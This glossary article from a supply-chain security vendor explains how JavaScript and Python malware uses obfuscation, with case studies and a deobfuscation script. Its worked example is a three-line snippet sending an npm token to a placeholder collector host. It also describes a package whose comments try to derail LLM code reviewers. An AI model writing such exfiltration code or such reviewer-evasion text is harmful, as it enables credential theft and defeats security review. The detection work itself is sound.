Back to glossary

Code Obfuscation

Code obfuscation rewrites a program to behave identically but resist reading. In open source packages it is a strong signal of hidden malware.

Also known as obfuscated code, JavaScript obfuscation, source code obfuscation, deobfuscation

Code obfuscation is the deliberate rewriting of a program so it behaves identically but is hard to read: identifiers become noise, strings are encoded and decoded at runtime, and control flow is scrambled. In open source packages, code obfuscation protects little and is one of the strongest static signals that a dependency is hiding malware.

Code obfuscation cannot hide what a program does from anything that runs it. In 2001, Boaz Barak and six coauthors proved that no general-purpose obfuscator can achieve the strong form of the idea: a program that reveals nothing beyond what you could learn by calling it as a black box. "Our main result is that, even under very weak formalizations of the above intuition, obfuscation is impossible," they wrote in On the (Im)possibility of Obfuscating Programs. What obfuscation does buy is time: it raises the cost of reading code for humans, grep, and naive scanners. Our position follows from that. In a published package, obfuscation is evidence, not protection. The useful first question is not what the code does but why a color utility or a theme would need to hide anything at all.

What is code obfuscation?

#

Code obfuscation is a semantics-preserving transformation applied to code before it ships. The runtime only needs the program's meaning. It does not need variable names, readable string literals, or a control flow graph that mirrors the author's intent, so an obfuscator throws all of that away and replaces it with something equivalent and opaque.

The classic framework comes from a 1997 University of Auckland technical report by Christian Collberg, Clark Thomborson, and Douglas Low. It scores each transformation on three axes: potency (how much harder it is for a human to understand), resilience (how well it resists an automated deobfuscator), and cost (how much it slows or bloats the program). Malware authors want high resilience at low cost, and the transformations that deliver it leave fingerprints of their own, as the next sections show.

JavaScript and Python make code obfuscation unusually important for supply chain security. Both ecosystems mostly ship source, not compiled binaries, so a reviewer or scanner can normally read exactly what will run. Obfuscation takes that property away on purpose. Compiled code has the same problem one level down: in the jscrambler payload described below, every sensitive string inside the Rust binaries is encrypted with its own ChaCha20-Poly1305 key.

How does code obfuscation work?

#

Code obfuscation works by stacking transformations, each aimed at a different reader. The common ones, in rough order of what they defeat:

  • Identifier renaming replaces names like url or decode with _0x309c34. It defeats a human skimming the file and nothing else.
  • String encoding moves every literal into an array, encodes it (hex escapes, Base64, XOR, ROT-style shifts), and decodes it on use. It defeats grep and signature rules that look for URLs, environment variable names, or API names.
  • Computed member access turns https.request(...) into https[f(0x12d)](...). It hides which APIs are called from tools that read property names without evaluating anything.
  • Control-flow flattening and dead code insertion rewrite loops and branches into a state machine padded with unreachable paths. They defeat human review and slow pattern matching.
  • Dynamic execution builds code as a string and runs it with eval, new Function, exec, or Node's internal Module._compile. The code being run never exists as source in the package.
  • Packing and encryption layers wrap the whole program in compressed or encrypted data and a small loader. Static analysis sees the loader and a blob.
  • Steganographic and invisible encodings hide data in characters a human cannot see or in text that looks like prose. They defeat review in an editor or a pull request diff.

Every one of these layers has to be undone at runtime, so the undo logic ships inside the package. That is the structural weakness of code obfuscation as a defense, and the structural weakness of obfuscated malware as an attack.

Obfuscating three lines of JavaScript

#

We obfuscated three lines with javascript-obfuscator 5.9.0, the current release as of October 2026, to show the artifacts concretely. The input reads an npm token from the environment and posts it to a placeholder host. We never executed it.

JavaScript
const https = require('https');
const token = process.env.NPM_TOKEN;
https.request('https://collector.example.invalid/t', { method: 'POST' }).end(token);
Bash
npx terser sample.js -c -m -o sample.min.js
npx javascript-obfuscator sample.js --output sample.obf.js \
  --string-array true --string-array-encoding base64 --string-array-threshold 1 \
  --identifier-names-generator hexadecimal --compact true --seed 1

Minification with Terser strips whitespace and merges the declarations: the 154-byte file becomes 137 bytes and every string stays readable. The obfuscated file is 2,294 bytes, about 15 times the original. Its shape is characteristic. This is the file reformatted one statement per line, with the bodies of the rotation loop and the decoder elided:

JavaScript
const a0_0x51293d=a0_0x5be3;
function a0_0x493a(){const _0x5d83b8=['nte5owfguKrHqG','mZa2mZy4mdHWA29xveW','mte5mZu2ntfSDhPfD2q','CMvXDwvZDa','nJG0mZu5nhbzuuPKCq','ue9tva','Ahr0Chm6lY9JB2XSzwn0B3iUzxHHBxbSzs5PBNzHBgLKl3q','Ahr0Chm','nJa3mtm1mhLWwvHIDW','zw5K','mty2ng90BwnNrW','mZC1mtmWne9oAKTkwa','mZCXnZvqwuTMDNu'];a0_0x493a=function(){return _0x5d83b8;};return a0_0x493a();}
(function(_0x3475a2,_0x1aade5){/* shift the array until a parseInt() checksum equals 0xeac02 */}(a0_0x493a,0xeac02));
function a0_0x5be3(_0x37e815,_0x37c448){_0x37e815=_0x37e815-0x123;/* Base64 decode with a lowercase-first alphabet, then cache */}
const https=require(a0_0x51293d(0x124)),token=process.env.NPM_TOKEN;
https[a0_0x51293d(0x12d)](a0_0x51293d(0x123),{'method':a0_0x51293d(0x12f)})[a0_0x51293d(0x126)](token);

Four details matter. Eight of the 13 array entries are decoys that decode to strings like 5199aFRDaB, which parseInt() reads as 5199; the startup loop sums them into a checksum and rotates the array until the sum equals 0xeac02 (961,538). The rotation means array order in the source is not array order at runtime. The encoding is Base64 with a lowercase-first alphabet, so atob() and base64 -d return garbage until you swap the case. And the obfuscator left https, token, and process.env.NPM_TOKEN readable, because its default configuration does not rename top-level names, and it did not rewrite the process.env read either. Obfuscators have blind spots, and a scanner looking for environment reads still catches this file.

Following one string through that machinery shows why reading the file statically is not enough.

  1. 1

    Call site

    https[a0_0x51293d(0x12d)](a0_0x51293d(0x123), …)

    The first argument to request is a function call with a hex index, not a string.

  2. 2

    Subtract the offset

    0x123 − 0x123 = 0

    The decoder subtracts a fixed base, so source indices never start at zero.

  3. 3

    Index the rotated array

    rotated[0] = 'Ahr0Chm6lY9JB2XSzwn0B3iUzxHHBxbSzs5PBNzHBgLKl3q'

    Read statically, source-order entry 0 is 'nte5owfguKrHqG', a checksum decoy that decodes to 5199aFRDaB. The startup loop shifted six entries to the back before any call ran.

  4. 4

    Map through the custom alphabet

    aHR0cHM6Ly9jb2xsZWN0b3IuZXhhbXBsZS5pbnZhbGlkL3Q

    The alphabet starts with lowercase letters, which is equivalent to swapping the case of standard Base64.

  5. 5

    Base64 decode and cache

    https://collector.example.invalid/t

    The plaintext exists only in memory, cached on the decoder function after the first call.

Figure 1. Resolving one string in the javascript-obfuscator sample. Each step is a separate trap for a reader who does not execute the decoder.

The call a0_0x51293d(0x123) resolves in five steps. The decoder subtracts its base offset, so 0x123 becomes index 0. Index 0 is read from the rotated array, where it holds Ahr0Chm6lY9JB2XSzwn0B3iUzxHHBxbSzs5PBNzHBgLKl3q; in source order, index 0 is the decoy nte5owfguKrHqG, which decodes to 5199aFRDaB, because the startup loop moved six entries to the back. The custom alphabet is equivalent to swapping the case of standard Base64, giving aHR0cHM6Ly9jb2xsZWN0b3IuZXhhbXBsZS5pbnZhbGlkL3Q. Base64 decoding yields https://collector.example.invalid/t, which the decoder caches on itself and never writes anywhere a static reader can see.

We measured the three files with a short script built on the acorn parser:

Signalsample.jssample.min.jssample.obf.js
Size in bytes1541372,294
String literals3339
Identifiers shaped like _0x plus hex0027
Computed member accesses (obj[expr])0027
Highest Shannon entropy of a 20+ character string, bits per character4.06 (the URL)4.06 (the URL)6.02 (the Base64 alphabet)
grep matches for the collector host110

The entropy row is the counterintuitive one. The most random-looking string in the obfuscated file is not the encoded payload, which scores 4.78 bits per character. It is the decoder's own 65-character alphabet, in which every character appears exactly once, so it scores the maximum possible for its length: log2(65), about 6.02. Entropy checks fire on the machinery of obfuscation more reliably than on the hidden data.

How attackers layer obfuscation in real packages

#

Real malware stacks several of these transformations and adds conditions that keep the payload dormant. Four cases from our research show the range.

The Qix compromise on September 8, 2025 put the same obfuscated browser payload into 19 packages, including chalk@5.6.1 and debug@4.4.2, that together receive 2 to 3 billion downloads per week. The code used _0x-prefixed identifiers and a large array of encoded strings decoded at runtime. Deobfuscated, it hooked fetch, XMLHttpRequest, and window.ethereum.request and swapped cryptocurrency addresses for the attacker address closest by Levenshtein distance. The attacker got in with a phished 2FA reset email, a common route to a maintainer account takeover.

SANDWORM_MODE, which we reported on February 20, 2026, used a three-stage chain across at least 19 typosquatted npm packages. Stage 0 inflated a roughly 167 KB Base64 blob with zlib, XOR-decrypted it with a static 32-byte key, and ran it with indirect eval. Another variant split the payload into 45 Base64 chunks stored as properties named _cfg_000 through _cfg_044, so the loader looked like a configuration object. Stage 1 held Stage 2 as AES-256-GCM ciphertext and decrypted it only after a 48-hour delay plus per-machine jitter. The build also carried a dormant engine configured to have a local LLM rename variables, rewrite control flow, insert decoys, and encode strings, so each copy could be obfuscated differently.

Stage 0: loader

ships in the package

  1. ~167 KB Base64
  2. →
  3. zlib inflate
  4. →
  5. XOR, static 32-byte key
  6. →
  7. (0,eval)(_p)

Variant: 45 chunks named _cfg_000 to _cfg_044 in a config-style object, sorted, joined, decoded, inflated, and run in memory with Module._compile().

Defeats: grep, string signatures, and file-based detection. No readable payload, no dropped script.

Stage 0 decodes and runs Stage 1

Stage 1: harvest and gate

exists only in memory

  1. steal secrets, drain crypto keys
  2. →
  3. AES-256-GCM ciphertext held

Defeats: anyone who decodes Stage 0. The worm's full scope is still encrypted.

wait 48 h + up to 48 h jitter (CI: no wait)

Stage 2: module bundle

decrypted after the gate

PropagateExfilDeadSwitchMcpInjectGitHooks

Defeats: sandboxes that run for minutes. A short dynamic run sees only Stage 1.

Figure 2. The SANDWORM_MODE chain as documented by Socket Threat Research, February 2026. Each layer targets a different stage of analysis.

SANDWORM_MODE's Stage 0 ships in the package and turns about 167 KB of Base64 into code through zlib inflation, an XOR with a static 32-byte key, and indirect eval, or in the variant through 45 _cfg_ chunks run with Module._compile(). It defeats grep, string signatures, and file-based detection. Stage 1 runs only in memory, harvests secrets, and holds Stage 2 as AES-256-GCM ciphertext, so decoding Stage 0 still does not reveal the worm's full scope. After a 48-hour wait plus up to 48 hours of per-machine jitter, skipped entirely in CI, Stage 1 decrypts Stage 2: a bundle exporting Propagate, Exfil, DeadSwitch, McpInject, and GitHooks. A dynamic analysis run of a few minutes sees only Stage 1.

The jscrambler compromise on July 11, 2026 hit the npm package for a commercial JavaScript code-protection product, which had about 15,800 weekly downloads. The irony is exact: a package that integrates an obfuscation product delivered malware hidden by the attacker's own obfuscation. Version 8.14.0 added an install script in the preinstall hook and a roughly 7.8 MB file named intro.js that was not JavaScript at all: a custom container with the header bytes 1b 43 53 49 01 holding three gzip-compressed native infostealer binaries for Linux, Windows, and macOS. Each sensitive string inside those binaries was encrypted separately with ChaCha20-Poly1305, and we recovered about 2,421 of them. Later malicious versions moved the dropper out of the install hook and into dist/index.js, so it ran on import and survived npm install --ignore-scripts. Socket flagged 8.14.0 six minutes after publication.

GlassWorm-linked VS Code themes, reported October 2, 2026, show the cleanest version of the anomaly argument. A color theme needs no JavaScript, yet VS Code lets a theme ship and run it with no granular permissions, one of the gaps in IDE extension security. The public repository for Aurora Nocturne Night Theme contained a benign-looking app.js. The out/extension.js delivered to users was a roughly 59 KB single-line blob combining randomized identifiers, hex escapes, runtime string reconstruction, and a payload encoded in zero-width Unicode characters. Decoded, it downloaded a batch file to %TEMP% and ran it through cmd.exe. In the words of our write-up, "A color theme has no legitimate reason to do this." The StegaBin campaign moved the hiding off-package entirely: 26 npm packages read their command-and-control domains from Pastebin essays in which characters at evenly spaced positions spelled out the addresses.

The pattern across these cases is that obfuscation is rarely the payload's only defense. It is combined with delays, environment checks, and off-package data, each aimed at a different stage of analysis.

Code obfuscation vs minification vs encryption

#

Minification, obfuscation, and encryption all make code harder to read, but they have different purposes and leave different evidence. Treating them as one thing is a common source of both false positives and missed detections.

MinificationCode obfuscationPacking or encryptionSteganographic or invisible encoding
PurposeSmaller downloadsResist reading and analysisHide the program as dataHide data where no one looks
Typical toolsTerser, esbuild, UglifyJSjavascript-obfuscator, PyArmor, commercial protectorsCustom loaders: Base64 plus zlib, XOR, AES, ChaCha20Zero-width characters, character-position ciphers
Strings and API namesPreservedEncoded, decoded at runtimeAbsent until decryptedHidden in comments, whitespace, or remote text
Undone by a code formatterLayout yes, local names noNoNoNo
Runtime costNone; smaller download15 to 80 percent slower per the javascript-obfuscator READMEOne decode stepOne decode step
Expected in an npm or PyPI packageCommon in browser bundlesRareAlmost neverNever

Verdict: minified code in a package is a weak signal and usually just a build artifact; Socket rates its Minified code alert as low severity. Code obfuscation in an open source package is a strong signal that warrants reading the decoded output before install, which is why Socket's Obfuscated code alert is high severity. A runtime decryption loader in a package with no reason to carry one, like a color utility or a theme, should be treated as malicious until proven otherwise.

Is obfuscated code a sign of malware?

#

Obfuscated code is not proof of malware, but in a published open source package it is an anomaly that needs an explanation. Legitimate reasons exist: as our Obfuscation 101 post notes, developers use obfuscation to protect intellectual property, for example in commercial SDKs. A package like that usually has a history that explains the obfuscation: it was obfuscated from its first release, by a known vendor, for a stated reason.

The signal that matters is obfuscation that does not fit the package. A first obfuscated release after years of readable ones, an obfuscated file in a package whose stated purpose is formatting or theming, or a new runtime decoder in a patch release are all far stronger indicators than obfuscation in isolation. Our SANDWORM_MODE analysis put it plainly: "There is no benign justification for inflating + XOR + eval() inside a color utility." Every malicious package in the cases above changed shape relative to its own history or purpose.

Static signals have honest limits. Bundlers, WebAssembly glue, embedded fonts, and test fixtures all produce high-entropy strings, which is why Socket's High entropy strings alert is low severity on its own. Attackers also know the obvious fingerprints. The SANDWORM_MODE chunks were designed to look like configuration, and the jscrambler dropper was a few lines of ordinary Node.js reading a file with a misleading extension.

How do you deobfuscate code?

#

Deobfuscation is reverse engineering with a budget: you undo enough of the transformation to answer one question, which is what the code does to the machine it runs on. Reverse engineering is the broader practice of recovering how software works from the shipped artifact alone, through reading, disassembly, decompilation, debugging, and controlled execution. For obfuscated packages there are three practical approaches, and each fails in a predictable way.

Static deobfuscation rewrites the code without running the payload. Tools parse the file into an abstract syntax tree, fold constants, inline the string decoder's results, and rename identifiers. For string-array obfuscators, a narrow form of partial evaluation is often enough. This script runs only the obfuscator's own machinery, the array, its rotation, and its decoder, inside an empty context, and prints the strings each call site resolves to:

JavaScript
// Recover string-array literals from javascript-obfuscator output without running the program.
const fs = require('fs'), vm = require('vm'), acorn = require('acorn');
const src = fs.readFileSync(process.argv[2], 'utf8');
const { body } = acorn.parse(src, { ecmaVersion: 'latest' });
const text = n => src.slice(n.start, n.end);
// Keep only the machinery: function declarations and the array-rotation IIFE.
const machinery = body.filter(n => n.type === 'FunctionDeclaration' ||
  (n.type === 'ExpressionStatement' && n.expression.type === 'CallExpression' &&
   n.expression.callee.type === 'FunctionExpression'));
const decoder = machinery.find(n => n.type === 'FunctionDeclaration' && /charAt/.test(text(n))).id.name;
const ctx = vm.createContext({});          // empty global: no require, no process, no network
vm.runInContext(machinery.map(text).join(';'), ctx, { timeout: 1000 });
const rest = body.filter(n => !machinery.includes(n)).map(text).join(';');
for (const [, idx] of new Set(rest.matchAll(/\w+\((0x[0-9a-f]+)\)/g)))
  console.log(idx, '=>', JSON.stringify(vm.runInContext(`${decoder}(${idx})`, ctx)));
Plain text
$ node decode-strings.js sample.obf.js
0x124 => "https"
0x12d => "request"
0x123 => "https://collector.example.invalid/t"
0x12f => "POST"
0x126 => "end"

On our first attempt the script also included the final statement, and it failed with ReferenceError: require is not defined, which is the empty context doing its job. That is not a security boundary. The Node.js documentation is explicit: "The node:vm module is not a security mechanism. Do not use it to run untrusted code." Real malware puts traps in its decoder, so production deobfuscation of untrusted code belongs in a disposable sandbox environment or an interpreter that the payload cannot escape. Static deobfuscation fails against custom virtual machines, keys fetched from the network, and payloads such as StegaBin's that live outside the package.

Dynamic analysis runs the package and watches what it touches. It defeats every encoding layer at once, because the code has to decode itself to run. It fails against conditions. SANDWORM_MODE waited 48 hours plus jitter before decrypting Stage 2 on developer machines, while running at once in CI, and the GlassWorm loader in one theme skipped systems with Russian-language or Russian-timezone settings. A sandbox that runs for five minutes sees Stage 1 and never sees the propagation code.

LLM-assisted review reads the decoded or partially decoded code and judges intent. It is good at the judgment step that rules miss, such as why a theme would contact a server. It inherits new failure modes. The shai_hulululud package, reported June 16, 2026, shipped a 9.28 MB index.js with fake system-override comments, text designed to trigger safety refusals, and more than 3.5 million tokens of repeated comments before a ROT-and-eval obfuscated tail. Comments are inert to JavaScript and active input to a model. The defense is deterministic preprocessing and a rule that a refusal, timeout, or truncation is never a clean verdict.

Production malware detection combines all three, cheapest first, and accepts that each layer only has to catch what the others miss.

What code obfuscation cannot hide

#

Code obfuscation can hide strings and names, but it cannot remove the capabilities a payload needs. To steal a token, code has to read the environment or the filesystem. To exfiltrate it, code has to open a network connection or spawn a process. To run hidden code, it needs eval, Function, exec, Module._compile, or a native binary. Obfuscation can make those calls indirect, as with require(a0_0x51293d(0x124)) above, but an indirect require with a computed argument is itself a signal.

The same reasoning is why install-time controls are necessary but incomplete. Install scripts are where most package malware runs, and as of October 2026 npm v12 no longer runs dependency install scripts unless they are allowed. That closes one door. The jscrambler attacker had already walked through the next one, moving the dropper into the package's entry point to evade scanners that only inspect install hooks. Reading what a package would execute on import closes that door too. Editor extensions, which run on activation rather than through install scripts, never had the first door.

The open problem is that obfuscation is moving from unreadable to unremarkable. The _0x style in our example is loud, and every serious scanner fingerprints it. SANDWORM_MODE's payload posed as configuration, StegaBin's lived in a Pastebin essay, the Aurora Nocturne theme's lived in characters no editor renders, and shai_hulululud aimed at the model reading the code rather than the human. The next generation of obfuscated malware will not look obfuscated, which means the durable signal is not how the code looks. It is whether the package needs the capabilities it has.